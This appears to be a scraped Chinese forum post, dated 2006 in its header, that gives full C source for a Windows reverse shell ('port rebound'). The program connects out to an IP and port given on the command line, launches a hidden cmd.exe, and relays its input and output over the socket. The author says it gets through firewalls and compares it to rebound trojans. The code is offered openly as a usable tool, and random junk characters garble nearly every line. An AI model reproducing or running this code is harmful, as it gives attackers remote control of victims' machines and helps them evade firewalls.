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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K[kds`  
/vHYM S  
/* ============================== 7 0_}S*T  
Rebound port in Windows NT 1\/{#c  
By wind,2006/7 Ua %UbAt  
===============================*/ %NNj9Bl<VV  
#include DKX/W+#a  
#include W3)\co  
7%e1cI  
#pragma comment(lib,"wsock32.lib") 6 jmrD  
z<!O!wX_aI  
void OutputShell(); >Iuzk1'S  
SOCKET sClient; {@3z\wMK$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vd`O aM}#U  
h\(B#SN  
void main(int argc,char **argv) 6 Ew@L<v  
{ GQb i$kl  
WSADATA stWsaData; eH %Ja[  
int nRet; I!P4(3skAB  
SOCKADDR_IN stSaiClient,stSaiServer; 8) HBh7/  
]% K' fXj$  
if(argc != 3) ;`DD}j`  
{ ?\ZL#)hr"p  
printf("Useage:\n\rRebound DestIP DestPort\n"); F>*{e  
return; OVZP x%a  
} S#tY@h@XV  
6ZcXS  
WSAStartup(MAKEWORD(2,2),&stWsaData); oe9lF*$/  
Hfh!l2P  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fN@{y+6  
[ 7g><  
stSaiClient.sin_family = AF_INET; >%u@R3PH]  
stSaiClient.sin_port = htons(0); eIH$"f;L  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6#U^< `  
/'ZKST4  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ZWS2q4/S  
{ 802H$P^ps  
printf("Bind Socket Failed!\n"); V C-d0E0  
return; kO1}?dWpa  
} Us]=Y}(  
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stSaiServer.sin_family = AF_INET; c;9.KCpwx  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,[* ;UR  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *$S#o#5  
^*0'\/N&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d`mD!)j  
{ {L].T#  
printf("Connect Error!"); A|L'ih/  
return; k=$AhT=e}n  
} (,B#t7ka  
OutputShell(); f"dSr  
} 2s\BY%XY  
d1c0l{JV3  
void OutputShell() ;'0=T0\  
{ D/CIA8h3  
char szBuff[1024]; X %4Kj[I^  
SECURITY_ATTRIBUTES stSecurityAttributes; 5pfYEofK[  
OSVERSIONINFO stOsversionInfo; H>XFz(LWh  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; y!~qbh[  
STARTUPINFO stStartupInfo; `:p1&OS  
char *szShell; 5wv fF.v  
PROCESS_INFORMATION stProcessInformation; V%*b@zv  
unsigned long lBytesRead; U\zD,<I9  
o:~LF6A-  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bWmw3w  
j/KO|iNL2  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); po7>IQS]  
stSecurityAttributes.lpSecurityDescriptor = 0; B $XwTJ>  
stSecurityAttributes.bInheritHandle = TRUE; Ji?#.r`"n  
wMWW=$h#\  
UG](go't  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u-3:k  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5Sva}9H  
36vgX=}  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); JeCg|@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /<{:I \<  
stStartupInfo.wShowWindow = SW_HIDE; Dd,2;#_  
stStartupInfo.hStdInput = hReadPipe; 5)UQWnd5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;wHCj$q  
2YlH}fnH  
GetVersionEx(&stOsversionInfo); S\=1_LDx"  
++jAz<46  
switch(stOsversionInfo.dwPlatformId) }Wh6zT)  
{ 5T?-zFMM  
case 1: c{Ou^.yR  
szShell = "command.com"; /.1. MssQM  
break; ,|h)bg7.  
default: [{ ~TcT  
szShell = "cmd.exe"; t9cl"F=  
break; =0    
} Ii &7rdoxe  
t:)ERT")  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e<cM[6H'D  
!.TLW  
send(sClient,szMsg,77,0); :O= \<t  
while(1) wW>fVP r  
{ @~ETj26U'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y[?-@7i  
if(lBytesRead) qfoD  
{ {d<;BLA  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F?-R$<Cn2~  
send(sClient,szBuff,lBytesRead,0); aZ|=(]  
} 5ZY<JA3  
else ye}p~&  
{ >e,mg8u6$  
lBytesRead=recv(sClient,szBuff,1024,0); $I9qgDJ)  
if(lBytesRead<=0) break; &--ej|n  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )#iq4@)|g  
} bm% $86  
} }"^'% C8EX  
9DQa PA6  
return; VQ#3#Hj  
}
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